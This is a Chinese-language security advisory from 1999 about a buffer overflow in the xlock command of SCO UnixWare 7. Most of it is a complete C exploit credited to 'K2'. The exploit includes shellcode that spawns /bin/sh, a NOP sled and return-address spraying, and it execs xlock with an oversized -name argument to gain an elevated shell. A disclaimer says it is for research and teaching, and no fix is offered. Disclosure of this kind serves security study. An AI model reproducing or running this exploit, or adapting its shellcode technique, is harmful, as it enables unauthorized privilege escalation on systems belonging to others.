UnixWare 7's xlock
发布日期:1999-11-26
更新日期:1999-11-26
受影响系统:SCO UNIX
+UnixWare 7's xlock
描述:
SCO UnixWare 7 的xlock命令在进行用户名(via argv[1])处理时没有进行适当的边界检查,因此当使用一个超长的用户名时产生了溢出。
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
Exploit (by K2):
// UnixWare7 /usr/bin/xlock local, K2, revisited Oct-30-1999
#include
#include
#include
#include
char shell[] =
"\xeb\x48\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\xc0\x89\x46\xb4"
"\x88\x46\xb9\x88\x46\x07\x89\x46\x0c\x31\xc0\x50\xb0\x8d\xe8\xdf"
"\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\xb0\x17\xe8\xd2\xff\xff\xff"
"\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53\x8d\x1e\x89\x5e\x08\x53"
"\xb0\x3b\xe8\xbb\xff\xff\xff\x83\xc4\x0c\xe8\xbb\xff\xff\xff\x2f"
"\x62\x69\x6e\x2f\x73\x68\xff\xff\xff\xff\xff\xff\xff\xff\xff";
#define SIZE 1200
#define NOPDEF 601
#define DEFOFF -400
const char x86_nop=0x90;
long nop=NOPDEF,esp;
long offset=DEFOFF;
char buffer[SIZE];
long get_esp() { __asm__("movl %esp,%eax"); }
int main (int argc, char *argv[])
{
register int i;
if (argc > 1) offset += strtol(argv[1], NULL, 0);
if (argc > 2) nop += strtoul(argv[2], NULL, 0);
esp = get_esp();
memset(buffer, x86_nop, SIZE);
memcpy(buffer+nop, shell, strlen(shell));
for (i = nop+strlen(shell); i < SIZE-4; i += 4)
*((int *) &buffer[i]) = esp+offset;
printf("jmp = [0x%x]\toffset = [%d]\n",esp+offset,offset);
execl("/usr/X/bin/xlock", "xlock", "-name", buffer, NULL);
printf("exec failed!\n");
return 0;
}
建议:
暂无
浏览次数:9595
严重程度:0(网友投票)